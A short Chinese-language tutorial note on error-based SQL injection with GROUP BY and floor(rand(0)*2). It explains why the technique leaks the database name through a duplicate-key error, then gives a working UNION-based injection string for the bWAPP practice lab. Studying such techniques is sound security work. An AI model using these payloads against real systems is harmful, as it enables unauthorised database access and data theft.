第一种error注入(group by)
一,注入SQL
SELECT COUNT(*),concat(database(),'#',floor(rand(0)*2)) AS x
FROM visitors GROUP BY x;
二,原理
函数
count() -返回列数数量
concat(参数1,参数二,) -返回参数拼接后的字符串
floor() -将小数转换成整数
rand() -随机生成0-1的小数
2.报错原理
group by实现原理:
(张三,18)(李四,23)(王五,24)(麻七,23)group by age分组过程
1,18 ---张三
1,23 ---李四
1,24 ---王五
搜索表是否有23---发现有
1,18
2,23
1,24
floor(rand(0))== 0 1 1 0 1 1
分组后:
2 | 1 | |
1 | 1 | 报错 |
返回报错信息(1)
三,bWAPP靶场练习
1,实现原理
SELECT * FROM movies
WHERE title='Man of Steel'
UNION #union需要表与表中数据字段数一样
(SELECT COUNT(*),concat(database(),floor(rand(0)*2))AS x ,2,3,4,5 FROM visitors GROUP BY x )

2,靶场注入
Man of Steel'UNION (SELECT COUNT(*),concat(database(),floor(rand(0)*2))AS x ,2,3 ,4,5 FROM visitors GROUP BY x )#
